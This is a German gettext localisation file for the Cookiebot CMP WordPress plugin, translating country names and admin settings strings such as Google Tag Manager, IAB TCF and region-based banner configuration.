msgid "Bahamas" msgstr "Bahamas" #: src/lib/Supported_Regions.php:25 msgid "Bahrain" msgstr "Bahrain" #: src/lib/Supported_Regions.php:26 msgid "Bangladesh" msgstr "Bangladesch" #: src/lib/Supported_Regions.php:27 msgid "Barbados" msgstr "Barbados" #: src/lib/Supported_Regions.php:28 msgid "Belarus" msgstr "Belarus" #: src/lib/Supported_Regions.php:29 msgid "Belgium" msgstr "Belgien" #: src/lib/Supported_Regions.php:30 msgid "Belize" msgstr "Belize" #: src/lib/Supported_Regions.php:31 msgid "Benin" msgstr "Benin" #: src/lib/Supported_Regions.php:32 msgid "Bermuda" msgstr "Bermuda" #: src/lib/Supported_Regions.php:33 msgid "Bhutan" msgstr "Bhutan" #: src/lib/Supported_Regions.php:35 msgid "Bonaire, Sint Eustatius and Saba" msgstr "Bonaire, Sint Eustatius und Saba" #: src/lib/Supported_Regions.php:36 msgid "Bosnia and Herzegovina" msgstr "Bosnien und Herzegowina" #: src/lib/Supported_Regions.php:37 msgid "Botswana" msgstr "Botswana" #: src/lib/Supported_Regions.php:38 msgid "Bouvet Island" msgstr "Bouvetinsel" #: src/lib/Supported_Regions.php:39 msgid "Brazil" msgstr "Brasilien" #: src/lib/Supported_Regions.php:40 msgid "British Indian Ocean Territory" msgstr "Britisches Territorium im Indischen Ozean" #: src/lib/Supported_Regions.php:42 msgid "Bulgaria" msgstr "Bulgarien" #: src/lib/Supported_Regions.php:43 msgid "Burkina Faso" msgstr "Burkina Faso" #: src/lib/Supported_Regions.php:44 msgid "Burundi" msgstr "Burundi" #: src/lib/Supported_Regions.php:45 msgid "Cambodia" msgstr "Kambodscha" #: src/lib/Supported_Regions.php:46 msgid "Cameroon" msgstr "Kamerun" #: src/lib/Supported_Regions.php:47 msgid "Canada" msgstr "Kanada" #: src/lib/Supported_Regions.php:48 msgid "Cape Verde" msgstr "Kap Verde" #: src/lib/Supported_Regions.php:49 msgid "Cayman Islands" msgstr "Kaimaninseln" #: src/lib/Supported_Regions.php:50 msgid "Central African Republic" msgstr "Zentralafrikanische Republik" #: src/lib/Supported_Regions.php:51 msgid "Chad" msgstr "Tschad" #: src/lib/Supported_Regions.php:52 msgid "Chile" msgstr "Chile" #: src/lib/Supported_Regions.php:53 msgid "China" msgstr "China" #: src/lib/Supported_Regions.php:54 msgid "Christmas Island" msgstr "Weihnachtsinsel" #: src/lib/Supported_Regions.php:55 msgid "Cocos (Keeling) Islands" msgstr "Kokosinseln (Keelinginseln)" #: src/lib/Supported_Regions.php:56 msgid "Colombia" msgstr "Kolumbien" #: src/lib/Supported_Regions.php:57 msgid "Comoros" msgstr "Komoren" #: src/lib/Supported_Regions.php:58 msgid "Congo" msgstr "Kongo" #: src/lib/Supported_Regions.php:59 msgid "Congo, the Democratic Republic of the" msgstr "Demokratische Republik Kongo" #: src/lib/Supported_Regions.php:60 msgid "Cook Islands" msgstr "Cookinseln" #: src/lib/Supported_Regions.php:61 msgid "Costa Rica" msgstr "Costa Rica" #: src/lib/Supported_Regions.php:62 msgid "Croatia" msgstr "Kroatien" #: src/lib/Supported_Regions.php:63 msgid "Cuba" msgstr "Kuba" #: src/lib/Supported_Regions.php:64 msgid "Curaçao" msgstr "Curaçao" #: src/lib/Supported_Regions.php:65 msgid "Cyprus" msgstr "Zypern" #: src/lib/Supported_Regions.php:66 msgid "Czech Republic" msgstr "Tschechische Republik" #: src/lib/Supported_Regions.php:67 msgid "Côte d'Ivoire" msgstr "Elfenbeinküste" #: src/lib/Supported_Regions.php:68 msgid "Denmark" msgstr "Dänemark" #: src/lib/Supported_Regions.php:69 msgid "Djibouti" msgstr "Dschibuti" #: src/lib/Supported_Regions.php:70 msgid "Dominica" msgstr "Dominica" #: src/lib/Supported_Regions.php:71 msgid "Dominican Republic" msgstr "Dominikanische Republik" #: src/lib/Supported_Regions.php:72 msgid "Ecuador" msgstr "Ecuador" #: src/lib/Supported_Regions.php:73 msgid "Egypt" msgstr "Ägypten" #: src/lib/Supported_Regions.php:74 msgid "El Salvador" msgstr "El Salvador" #: src/lib/Supported_Regions.php:75 msgid "Equatorial Guinea" msgstr "Äquatorialguinea" #: src/lib/Supported_Regions.php:76 msgid "Eritrea" msgstr "Eritrea" #: src/lib/Supported_Regions.php:77 msgid "Estonia" msgstr "Estland" #: src/lib/Supported_Regions.php:78 msgid "Ethiopia" msgstr "Äthiopien" #: src/lib/Supported_Regions.php:79 msgid "Falkland Islands (Malvinas)" msgstr "Falklandinseln (Malwinen)" #: src/lib/Supported_Regions.php:80 msgid "Faroe Islands" msgstr "Färöer" #: src/lib/Supported_Regions.php:81 msgid "Fiji" msgstr "Fidschi" #: src/lib/Supported_Regions.php:82 msgid "Finland" msgstr "Finnland" #: src/lib/Supported_Regions.php:83 msgid "France" msgstr "Frankreich" #: src/lib/Supported_Regions.php:84 msgid "French Guiana" msgstr "Französisch-Guyana" #: src/lib/Supported_Regions.php:85 msgid "French Polynesia" msgstr "Französisch-Polynesien" #: src/lib/Supported_Regions.php:87 msgid "Gabon" msgstr "Gabun" #: src/lib/Supported_Regions.php:88 msgid "Gambia" msgstr "Gambia" #: src/lib/Supported_Regions.php:89 msgid "Georgia" msgstr "Georgien" #: src/lib/Supported_Regions.php:90 msgid "Germany" msgstr "Deutschland" #: src/lib/Supported_Regions.php:91 msgid "Ghana" msgstr "Ghana" #: src/lib/Supported_Regions.php:92 msgid "Gibraltar" msgstr "Gibraltar" #: src/lib/Supported_Regions.php:93 msgid "Greece" msgstr "Griechenland" #: src/lib/Supported_Regions.php:94 msgid "Greenland" msgstr "Grönland" #: src/lib/Supported_Regions.php:95 msgid "Grenada" msgstr "Grenada" #: src/lib/Supported_Regions.php:96 msgid "Guadeloupe" msgstr "Guadeloupe" #: src/lib/Supported_Regions.php:97 msgid "Guam" msgstr "Guam" #: src/lib/Supported_Regions.php:98 msgid "Guatemala" msgstr "Guatemala" #: src/lib/Supported_Regions.php:99 msgid "Guernsey" msgstr "Guernsey" #: src/lib/Supported_Regions.php:100 msgid "Guinea" msgstr "Guinea" #: src/lib/Supported_Regions.php:101 msgid "Guinea-Bissau" msgstr "Guinea-Bissau" #: src/lib/Supported_Regions.php:102 msgid "Guyana" msgstr "Guyana" #: src/lib/Supported_Regions.php:103 msgid "Haiti" msgstr "Haiti" #: src/lib/Supported_Regions.php:104 msgid "Heard Island and McDonald Islands" msgstr "Heard und McDonaldinseln" #: src/lib/Supported_Regions.php:105 msgid "Holy See (Vatican City State)" msgstr "Heiliger Stuhl (Staat Vatikanstadt)" #: src/lib/Supported_Regions.php:106 msgid "Honduras" msgstr "Honduras" #: src/lib/Supported_Regions.php:107 msgid "Hong Kong" msgstr "Hong Kong" #: src/lib/Supported_Regions.php:108 msgid "Hungary" msgstr "Ungarn" #: src/lib/Supported_Regions.php:109 msgid "Iceland" msgstr "Island" #: src/lib/Supported_Regions.php:110 msgid "India" msgstr "Indien" #: src/lib/Supported_Regions.php:111 msgid "Indonesia" msgstr "Indonesien" #: src/lib/Supported_Regions.php:113 msgid "Iraq" msgstr "Irak" #: src/lib/Supported_Regions.php:114 msgid "Ireland" msgstr "Irland" #: src/lib/Supported_Regions.php:115 msgid "Isle of Man" msgstr "Isle of Man" #: src/lib/Supported_Regions.php:116 msgid "Israel" msgstr "Israel" #: src/lib/Supported_Regions.php:117 msgid "Italy" msgstr "Italien" #: src/lib/Supported_Regions.php:118 msgid "Jamaica" msgstr "Jamaika" #: src/lib/Supported_Regions.php:119 msgid "Japan" msgstr "Japan" #: src/lib/Supported_Regions.php:120 msgid "Jersey" msgstr "Jersey" #: src/lib/Supported_Regions.php:121 msgid "Jordan" msgstr "Jordanien" #: src/lib/Supported_Regions.php:122 msgid "Kazakhstan" msgstr "Kasachstan" #: src/lib/Supported_Regions.php:123 msgid "Kenya" msgstr "Kenia" #: src/lib/Supported_Regions.php:124 msgid "Kiribati" msgstr "Kiribati" #: src/lib/Supported_Regions.php:125 msgid "Kuwait" msgstr "Kuwait" #: src/lib/Supported_Regions.php:126 msgid "Kyrgyzstan" msgstr "Kirgisistan" #: src/lib/Supported_Regions.php:128 msgid "Latvia" msgstr "Lettland" #: src/lib/Supported_Regions.php:129 msgid "Lebanon" msgstr "Libanon" #: src/lib/Supported_Regions.php:130 msgid "Lesotho" msgstr "Lesotho" #: src/lib/Supported_Regions.php:131 msgid "Liberia" msgstr "Liberia" #: src/lib/Supported_Regions.php:132 msgid "Libya" msgstr "Libyen" #: src/lib/Supported_Regions.php:133 msgid "Liechtenstein" msgstr "Liechtenstein" #: src/lib/Supported_Regions.php:134 msgid "Lithuania" msgstr "Litauen" #: src/lib/Supported_Regions.php:135 msgid "Luxembourg" msgstr "Luxemburg" #: src/lib/Supported_Regions.php:136 msgid "Macao" msgstr "Macau" #: src/lib/Supported_Regions.php:138 msgid "Madagascar" msgstr "Madagaskar" #: src/lib/Supported_Regions.php:139 msgid "Malawi" msgstr "Malawi" #: src/lib/Supported_Regions.php:140 msgid "Malaysia" msgstr "Malaysia" #: src/lib/Supported_Regions.php:141 msgid "Maldives" msgstr "Malediven" #: src/lib/Supported_Regions.php:142 msgid "Mali" msgstr "Mali" #: src/lib/Supported_Regions.php:143 msgid "Malta" msgstr "Malta" #: src/lib/Supported_Regions.php:144 msgid "Marshall Islands" msgstr "Marshallinseln" #: src/lib/Supported_Regions.php:145 msgid "Martinique" msgstr "Martinique" #: src/lib/Supported_Regions.php:146 msgid "Mauritania" msgstr "Mauretanien" #: src/lib/Supported_Regions.php:147 msgid "Mauritius" msgstr "Mauritius" #: src/lib/Supported_Regions.php:148 msgid "Mayotte" msgstr "Mayotte" #: src/lib/Supported_Regions.php:149 msgid "Mexico" msgstr "Mexiko" #: src/lib/Supported_Regions.php:150 msgid "Micronesia, Federated States of" msgstr "Mikronesien, Föderierten Staaten von" #: src/lib/Supported_Regions.php:152 msgid "Monaco" msgstr "Monaco" #: src/lib/Supported_Regions.php:153 msgid "Mongolia" msgstr "Mongolei" #: src/lib/Supported_Regions.php:154 msgid "Montenegro" msgstr "Montenegro" #: src/lib/Supported_Regions.php:155 msgid "Montserrat" msgstr "Montserrat" #: src/lib/Supported_Regions.php:156 msgid "Morocco" msgstr "Marokko" #: src/lib/Supported_Regions.php:157 msgid "Mozambique" msgstr "Mosambik" #: src/lib/Supported_Regions.php:158 msgid "Myanmar" msgstr "Myanmar" #: src/lib/Supported_Regions.php:159 msgid "Namibia" msgstr "Namibia" #: src/lib/Supported_Regions.php:160 msgid "Nauru" msgstr "Nauru" #: src/lib/Supported_Regions.php:161 msgid "Nepal" msgstr "Nepal" #: src/lib/Supported_Regions.php:162 msgid "Netherlands" msgstr "Niederlande" #: src/lib/Supported_Regions.php:163 msgid "New Caledonia" msgstr "Neukaledonien" #: src/lib/Supported_Regions.php:164 msgid "New Zealand" msgstr "Neuseeland" #: src/lib/Supported_Regions.php:165 msgid "Nicaragua" msgstr "Nicaragua" #: src/lib/Supported_Regions.php:166 msgid "Niger" msgstr "Niger" #: src/lib/Supported_Regions.php:167 msgid "Nigeria" msgstr "Nigeria" #: src/lib/Supported_Regions.php:168 msgid "Niue" msgstr "Niue" #: src/lib/Supported_Regions.php:170 msgid "North Korea" msgstr "Nordkorea" #: src/lib/Supported_Regions.php:171 msgid "Northern Mariana Islands" msgstr "Nördliche Marianen" #: src/lib/Supported_Regions.php:172 msgid "Norway" msgstr "Norwegen" #: src/lib/Supported_Regions.php:173 msgid "Oman" msgstr "Oman" #: src/lib/Supported_Regions.php:174 msgid "Pakistan" msgstr "Pakistan" #: src/lib/Supported_Regions.php:175 msgid "Palau" msgstr "Palau" #: src/lib/Supported_Regions.php:176 msgid "Palestinian Territory" msgstr "Palästinensische Autonomiegebiete" #: src/lib/Supported_Regions.php:177 msgid "Panama" msgstr "Panama" #: src/lib/Supported_Regions.php:178 msgid "Papua New Guinea" msgstr "Papua-Neuguinea" #: src/lib/Supported_Regions.php:179 msgid "Paraguay" msgstr "Paraguay" #: src/lib/Supported_Regions.php:180 msgid "Peru" msgstr "Peru" #: src/lib/Supported_Regions.php:181 msgid "Philippines" msgstr "Philippinen" #: src/lib/Supported_Regions.php:182 msgid "Pitcairn" msgstr "Pitcairninseln" #: src/lib/Supported_Regions.php:183 msgid "Poland" msgstr "Polen" #: src/lib/Supported_Regions.php:184 msgid "Portugal" msgstr "Portugal" #: src/lib/Supported_Regions.php:185 msgid "Puerto Rico" msgstr "Puerto Rico" #: src/lib/Supported_Regions.php:186 msgid "Qatar" msgstr "Katar" #: src/lib/Supported_Regions.php:187 msgid "Romania" msgstr "Rumänien" #: src/lib/Supported_Regions.php:188 msgid "Russia" msgstr "Russland" #: src/lib/Supported_Regions.php:189 msgid "Rwanda" msgstr "Ruanda" #: src/lib/Supported_Regions.php:190 msgid "Réunion" msgstr "Réunion" #: src/lib/Supported_Regions.php:191 msgid "Saint Barthélemy" msgstr "Saint Barthélemy" #: src/lib/Supported_Regions.php:192 msgid "Saint Helena, Ascension and Tristan da Cunha" msgstr "St. Helena, Ascension und Tristan da Cunha" #: src/lib/Supported_Regions.php:193 msgid "Saint Kitts and Nevis" msgstr "St. Kitts und Nevis" #: src/lib/Supported_Regions.php:194 msgid "Saint Lucia" msgstr "St. Lucia" #: src/lib/Supported_Regions.php:195 msgid "Saint Martin (French part)" msgstr "St. Martin (Französischer Teil)" #: src/lib/Supported_Regions.php:196 msgid "Saint Pierre and Miquelon" msgstr "Saint-Pierre und Miquelon" #: src/lib/Supported_Regions.php:197 msgid "Saint Vincent and the Grenadines" msgstr "St. Vincent und die Grenadinen" #: src/lib/Supported_Regions.php:198 msgid "Samoa" msgstr "Samoa" #: src/lib/Supported_Regions.php:199 msgid "San Marino" msgstr "San Marino" #: src/lib/Supported_Regions.php:200 msgid "Sao Tome and Principe" msgstr "Sao Tome und Principe" #: src/lib/Supported_Regions.php:201 msgid "Saudi Arabia" msgstr "Saudi-Arabien" #: src/lib/Supported_Regions.php:202 msgid "Senegal" msgstr "Senegal" #: src/lib/Supported_Regions.php:203 msgid "Serbia" msgstr "Serbien" #: src/lib/Supported_Regions.php:204 msgid "Seychelles" msgstr "Seychellen" #: src/lib/Supported_Regions.php:205 msgid "Sierra Leone" msgstr "Sierra Leone" #: src/lib/Supported_Regions.php:206 msgid "Singapore" msgstr "Singapur" #: src/lib/Supported_Regions.php:207 msgid "Sint Maarten (Dutch part)" msgstr "Sint Maarten (Niederländischer Teil)" #: src/lib/Supported_Regions.php:208 msgid "Slovakia" msgstr "Slowakei" #: src/lib/Supported_Regions.php:209 msgid "Slovenia" msgstr "Slowenien" #: src/lib/Supported_Regions.php:210 msgid "Solomon Islands" msgstr "Salomonen" #: src/lib/Supported_Regions.php:211 msgid "Somalia" msgstr "Somalia" #: src/lib/Supported_Regions.php:212 msgid "South Africa" msgstr "Südafrika" #: src/lib/Supported_Regions.php:213 msgid "South Georgia and the South Sandwich Islands" msgstr "Südgeorgien und die Südlichen Sandwichinseln" #: src/lib/Supported_Regions.php:214 msgid "South Korea" msgstr "Südkorea" #: src/lib/Supported_Regions.php:215 msgid "South Sudan" msgstr "Südsudan" #: src/lib/Supported_Regions.php:216 msgid "Spain" msgstr "Spanien" #: src/lib/Supported_Regions.php:217 msgid "Sri Lanka" msgstr "Sri Lanka" #: src/lib/Supported_Regions.php:218 msgid "Sudan" msgstr "Sudan" #: src/lib/Supported_Regions.php:219 msgid "Suriname" msgstr "Suriname" #: src/lib/Supported_Regions.php:220 msgid "Svalbard and Jan Mayen" msgstr "Svalbard und Jan Mayen" #: src/lib/Supported_Regions.php:222 msgid "Sweden" msgstr "Schweden" #: src/lib/Supported_Regions.php:223 msgid "Switzerland" msgstr "Schweiz" #: src/lib/Supported_Regions.php:226 msgid "Tajikistan" msgstr "Tadschikistan" #: src/lib/Supported_Regions.php:228 msgid "Thailand" msgstr "Thailand" #: src/lib/Supported_Regions.php:230 msgid "Togo" msgstr "Togo" #: src/lib/Supported_Regions.php:231 msgid "Tokelau" msgstr "Tokelau" #: src/lib/Supported_Regions.php:232 msgid "Tonga" msgstr "Tonga" #: src/lib/Supported_Regions.php:233 msgid "Trinidad and Tobago" msgstr "Trinidad und Tobago" #: src/lib/Supported_Regions.php:234 msgid "Tunisia" msgstr "Tunesien" #: src/lib/Supported_Regions.php:236 msgid "Turkmenistan" msgstr "Turkmenistan" #: src/lib/Supported_Regions.php:237 msgid "Turks and Caicos Islands" msgstr "Turks- und Caicosinseln" #: src/lib/Supported_Regions.php:238 msgid "Tuvalu" msgstr "Tuvalu" #: src/lib/Supported_Regions.php:239 msgid "Uganda" msgstr "Uganda" #: src/lib/Supported_Regions.php:240 msgid "Ukraine" msgstr "Ukraine" #: src/lib/Supported_Regions.php:241 msgid "United Arab Emirates" msgstr "Vereinigte Arabische Emirate" #: src/lib/Supported_Regions.php:242 msgid "United Kingdom" msgstr "Vereinigtes Königreich" #: src/lib/Supported_Regions.php:243 msgid "United States" msgstr "Vereinigte Staaten" #: src/lib/Supported_Regions.php:244 msgid "United States - State of California" msgstr "Vereinigte Staaten - Bundesstaat Kalifornien" #: src/lib/Supported_Regions.php:249 msgid "United States Minor Outlying Islands" msgstr "Kleinere Amerikanische Überseeinseln" #: src/lib/Supported_Regions.php:250 msgid "Uruguay" msgstr "Uruguay" #: src/lib/Supported_Regions.php:251 msgid "Uzbekistan" msgstr "Usbekistan" #: src/lib/Supported_Regions.php:252 msgid "Vanuatu" msgstr "Vanuatu" #: src/lib/Supported_Regions.php:254 msgid "Viet Nam" msgstr "Vietnam" #: src/lib/Supported_Regions.php:255 msgid "Virgin Islands, British" msgstr "Britische Jungferninseln" #: src/lib/Supported_Regions.php:256 msgid "Virgin Islands, U.S." msgstr "Amerikanische Jungferninseln" #: src/lib/Supported_Regions.php:257 msgid "Wallis and Futuna" msgstr "Wallis und Futuna" #: src/lib/Supported_Regions.php:258 msgid "Western Sahara" msgstr "Westsahara" #: src/lib/Supported_Regions.php:259 msgid "Yemen" msgstr "Jemen" #: src/lib/Supported_Regions.php:260 msgid "Zambia" msgstr "Sambia" #: src/lib/Supported_Regions.php:261 msgid "Zimbabwe" msgstr "Simbabwe" #: src/lib/Supported_Regions.php:262 msgid "Åland Islands" msgstr "Åland Inseln" #: src/settings/pages/Dashboard_Page.php:48 msgid "Cookiebot Dashboard" msgstr "Cookiebot Dashboard" #: src/view/admin/cb_frame/dashboard-page.php:33 #: src/view/admin/common/dashboard-page-old.php:30 msgid "I already have a Cookiebot CMP account" msgstr "Ich habe bereits ein Cookiebot CMP-Konto" #: src/view/admin/cb_frame/dashboard-page.php:37 #: src/view/admin/common/dashboard-page-old.php:34 msgid "Connect my existing account" msgstr "Mit meinem bestehenden Konto verbinden" #: src/view/admin/cb_frame/dashboard-page.php:42 #: src/view/admin/common/dashboard-page-old.php:39 msgid "Your Cookiebot CMP for WordPress solution" msgstr "Ihre Cookiebot CMP-Lösung für WordPress" #: src/view/admin/cb_frame/dashboard-page.php:50 #: src/view/admin/common/dashboard-page-old.php:47 msgid "Congratulations!" msgstr "Herzlichen Glückwunsch!" #: src/view/admin/cb_frame/dashboard-page.php:51 #: src/view/admin/common/dashboard-page-old.php:48 msgid "You have added your Domain Group ID to WordPress. You are all set!" msgstr "Sie haben Ihre Domain Group ID für WordPress hinzugefügt. Sie sind startklar!" #: src/view/admin/cb_frame/dashboard-page.php:80 #: src/view/admin/common/dashboard-page-old.php:77 msgid "Get started" msgstr "Jetzt starten" #: src/view/admin/cb_frame/dashboard-page.php:83 #: src/view/admin/common/dashboard-page-old.php:80 msgid "Create a new Cookiebot CMP account" msgstr "Neues Cookiebot CMP-Konto erstellen" #: src/view/admin/cb_frame/dashboard-page.php:87 #: src/view/admin/common/dashboard-page-old.php:84 msgid "Create a new account" msgstr "Neues Konto erstellen" #: src/view/admin/cb_frame/dashboard-page.php:92 #: src/view/admin/common/dashboard-page-old.php:89 msgid "Learn more about how to optimize your Cookiebot CMP setup?" msgstr "Erfahren Sie mehr darüber, wie Sie Ihr Cookiebot CMP Setup optimieren können!" #: src/view/admin/cb_frame/dashboard-page.php:96 #: src/view/admin/common/dashboard-page-old.php:93 msgid "Visit Help Center" msgstr "Hilfe-Center besuchen" #: src/view/admin/cb_frame/dashboard-page.php:115 #: src/view/admin/common/dashboard-page-old.php:113 msgid "How to get started with Cookiebot CMP" msgstr "Mit Cookiebot CMP loslegen - So geht’s!" #: src/view/admin/cb_frame/dashboard-page.php:119 #: src/view/admin/common/dashboard-page-old.php:117 msgid "Learn more about Cookiebot CMP" msgstr "Mehr über Cookiebot CMP erfahren" #: src/view/admin/cb_frame/dashboard-page.php:131 #: src/view/admin/common/dashboard-page-old.php:129 #: src/view/admin/uc_frame/dashboard-page.php:86 #: src/view/admin/uc_frame/settings/embeddings-page.php:33 msgid "GDPR" msgstr "DSGVO" #: src/view/admin/cb_frame/dashboard-page.php:134 #: src/view/admin/common/dashboard-page-old.php:132 #: src/view/admin/uc_frame/dashboard-page.php:89 msgid "Europe" msgstr "Europa" #: src/view/admin/cb_frame/dashboard-page.php:148 #: src/view/admin/common/dashboard-page-old.php:146 #: src/view/admin/uc_frame/dashboard-page.php:103 msgid "CCPA" msgstr "CCPA" #: src/view/admin/cb_frame/dashboard-page.php:151 #: src/view/admin/common/dashboard-page-old.php:149 #: src/view/admin/uc_frame/dashboard-page.php:106 msgid "North America" msgstr "Nordamerika" #: src/view/admin/cb_frame/dashboard-page.php:162 #: src/view/admin/common/dashboard-page-old.php:160 #: src/view/admin/uc_frame/dashboard-page.php:117 msgid "See other legislations" msgstr "Andere Rechtsvorschriften ansehen" #: src/view/admin/cb_frame/support-page.php:37 #: src/view/admin/common/support-page.php:57 #: src/view/admin/uc_frame/support-page.php:57 msgid "Visit Support Center" msgstr "Support-Center besuchen" #: src/view/admin/cb_frame/settings/gtm-page.php:12 msgid "Google Tag Manager:" msgstr "Google Tag Manager:" #: src/view/admin/cb_frame/settings/gcm-page.php:38 #: src/view/admin/cb_frame/settings/gcm-page.php:68 #: src/view/admin/cb_frame/settings/gtm-page.php:18 msgid "Read more" msgstr "Weiter lesen" #: src/view/admin/cb_frame/settings/gtm-page.php:35 #: src/view/admin/cb_frame/settings/gtm-page.php:46 #: src/view/admin/uc_frame/settings/gtm-page.php:35 #: src/view/admin/uc_frame/settings/gtm-page.php:46 msgid "Google Tag Manager ID" msgstr "Google Tag Manager ID" #: src/view/admin/cb_frame/settings/gtm-page.php:37 msgid "Paste your Tag Manager ID into the field on the right." msgstr "Fügen Sie Ihre Tag Manager ID in das rechte Feld ein" #: src/view/admin/cb_frame/settings/gtm-page.php:41 #: src/view/admin/uc_frame/settings/gtm-page.php:41 msgid "How to find the GTM ID" msgstr "So finden Sie die GTM ID" #: src/view/admin/cb_frame/settings/gtm-page.php:48 msgid "Enter GTM ID" msgstr "GTM ID eingeben" #: src/view/admin/cb_frame/settings/gtm-page.php:56 msgid "Data Layer Name (optional)" msgstr "Data Layer Name (optional)" #: src/view/admin/cb_frame/settings/gtm-page.php:58 msgid "You can also paste your Data Layer Name here. This is optional information." msgstr "Sie können Ihren Data Layer Namen hier einfügen. Diese Angabe ist optional." #: src/view/admin/cb_frame/settings/gtm-page.php:62 #: src/view/admin/uc_frame/settings/gtm-page.php:62 msgid "How to find the Data Layer Name" msgstr "So finden Sie den Data Layer Namen" #: src/view/admin/cb_frame/settings/gtm-page.php:67 #: src/view/admin/uc_frame/settings/gtm-page.php:67 msgid "Name of your Data Layer" msgstr "Name Ihres Data Layers" #: src/view/admin/cb_frame/settings/iab-page.php:26 msgid "IAB Integration:" msgstr "IAB-Integration:" #: src/view/admin/cb_frame/settings/iab-page.php:32 msgid "Read more on IAB with Cookiebot CMP here" msgstr "Erfahren Sie hier mehr über IAB mit Cookiebot CMP" #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:16 msgid "Additional configurations:" msgstr "Zusätzliche Konfigurationen:" #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:18 msgid "You can add a second alternative banner or configuration to your website by creating a second Domain Group and specify it on a region." msgstr "Sie können ein zweites alternatives Banner oder eine zweite Konfiguration zu Ihrer Website hinzufügen, indem Sie eine zweite Domain Group erstellen und diese in einer Region angeben." #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:34 msgid "Multiple configurations" msgstr "Mehrfach-Konfigurationen" #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:44 msgid "Set up your additional banner configuration:" msgstr "Richten Sie Ihre zusätzliche Banner-Konfiguration ein:" #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:47 msgid "To enable a different configuration, create a separate DomainGroup without adding the domain to it and paste the ID below. Then select the countries in which you want to show this configuration. For example, if your main Domain Group is defined as a banner matching GDPR requirements, you might want to add another Domain Group for visitors from California. The number of additional configurations is restricted to one at the moment." msgstr "Um eine andere Konfiguration zu aktivieren, erstellen Sie eine separate Domain Group, ohne die Domain hinzuzufügen, und fügen Sie die ID unten ein. Wählen Sie dann die Länder aus, in denen Sie diese Konfiguration anzeigen möchten. Wenn Ihre primäre Domain Group beispielsweise als ein DSGVO-konformes Banner definiert ist, möchten Sie vielleicht eine weitere Domain Group für Besucher aus Kalifornien hinzufügen. Die Anzahl der zusätzlichen Konfigurationen ist im Moment auf eine beschränkt." #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:61 msgid "Region" msgstr "Region" #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:71 msgid "Primary domain group" msgstr "Primäre Domain Group" #: src/view/admin/cb_frame/settings/multiple-configuration/extra/region-item.php:21 #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:75 #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:101 msgid "Select region" msgstr "Region auswählen" #: src/view/admin/cb_frame/network-settings-page.php:24 #: src/view/admin/common/network-settings-page.php:25 #: src/view/admin/uc_frame/network-settings-page.php:25 msgid "Network Settings" msgstr "Netzwerkeinstellungen" #: src/view/admin/cb_frame/network-settings-page.php:58 #: src/view/admin/cb_frame/settings/general-page.php:41 msgid "Read more on the Domain Group ID" msgstr "Lesen Sie mehr über die Domain Group ID" #: src/view/admin/cb_frame/network-settings-page.php:62 #: src/view/admin/cb_frame/settings/general-page.php:47 msgid "Add your Domain Group ID" msgstr "Ihre Domain Group ID hinzufügen" #: src/view/admin/cb_frame/network-settings-page.php:254 #: src/view/admin/cb_frame/settings/general-page.php:309 #: src/view/admin/uc_frame/network-settings-page.php:193 #: src/view/admin/uc_frame/settings/general-page.php:264 msgid "Hide the cookie popup banner" msgstr "Cookie-Popup-Banner ausblenden" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:11 #: src/view/admin/common/prior-consent/available-addons/tab-header.php:4 #: src/view/admin/common/prior-consent/jetpack-widgets/tab-header.php:14 #: src/view/admin/uc_frame/prior-consent/consent-api/tab.php:14 msgid "Remember to save your changes before switching tabs" msgstr "Denken Sie daran, Ihre Änderungen zu speichern, bevor Sie die Registerkarte wechseln." #: src/view/admin/common/prior-consent/available-addons/tab.php:26 msgid "Plugin enabled" msgstr "Plug-in aktiviert" #: src/view/admin/common/prior-consent/available-addons/tab.php:59 msgid "Placeholder text:" msgstr "Platzhalter-Text:" #: src/view/admin/common/prior-consent/jetpack-widgets/tab-header.php:8 msgid "Enable Jetpack on \"Available Addons\" to see this page options." msgstr "Aktivieren Sie Jetpack unter „Verfügbare Add-ons”, um die Optionen dieser Seite zu sehen." #: src/view/admin/cb_frame/settings/iab-page.php:28 msgid "If you want to use the IAB Framework TCF within your Consent Management Platform (CMP) you can enable it on the right. Be aware that activating this could override some of the configurations you made with the default setup defined by the IAB." msgstr "Wenn Sie IAB Framwork TCF in Ihrer Consent Management Platform (CMP) nutzen möchten, können Sie es rechts aktivieren. Beachten Sie, dass durch die Aktivierung einige der Konfigurationen, die Sie mit der vom IAB definierten Standardkonfiguration vorgenommen haben, außer Kraft gesetzt werden können." #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:22 msgid "Read more about multiple configurations here" msgstr "Erfahren Sie hier mehr über Mehrfach-Konfigurationen" #: src/lib/Supported_Regions.php:16 msgid "Antarctica" msgstr "Antarktika" #: src/lib/Supported_Regions.php:229 msgid "Timor-Leste" msgstr "Osttimor" #: src/addons/config/Settings_Config.php:90 #: src/addons/config/Settings_Config.php:91 #: src/view/admin/common/prior-consent/page.php:25 msgid "Plugins" msgstr "Plugins" #: src/view/admin/cb_frame/settings/iab-page.php:41 msgid "IAB TCF V2.2 integration" msgstr "IAB TCF V2.2 Integration" #: src/lib/Supported_Regions.php:169 msgid "Norfolk Island" msgstr "Norfolkinsel" #: src/view/admin/cb_frame/settings/additional-page.php:128 msgid "List scripts source URL (one per line) from the queue to ignore Cookiebot CMP scan. Partial source URL will also work, e.g. wp-content/plugins/woocommerce will block every WooCommerce script." msgstr "Listen Sie die Quell-URL der Skripte (eine pro Zeile) aus der Warteschlange auf, um den Cookiebot CMP Scan zu ignorieren. Eine abgekürzte Quell-URL funktioniert auch, z. B. wird die abgekürzte Quell-URL wp-content/plugins/woocommerce jedes WooCommerce Skript blockieren." #: src/view/admin/cb_frame/settings/additional-page.php:131 msgid "This feature only works for scripts loaded via wp_enqueue_script. Manually added scripts must be manually edited." msgstr "Dieses Feature funktioniert nur für Skripte, die über wp_enqueue_script geladen werden. Manuell hinzugefügte Skripte müssen manuell bearbeitet werden" #: src/view/admin/cb_frame/settings/additional-page.php:143 msgid "Add script source URL, one per line" msgstr "URL der Skript-Quelle hinzufügen, eine pro Zeile" #: src/addons/config/Settings_Config.php:606 msgid "The theme is not installed." msgstr "Das Theme ist nicht installiert." #: src/addons/config/Settings_Config.php:613 msgid "The theme is not activated." msgstr "Das Theme ist nicht aktiviert." #: 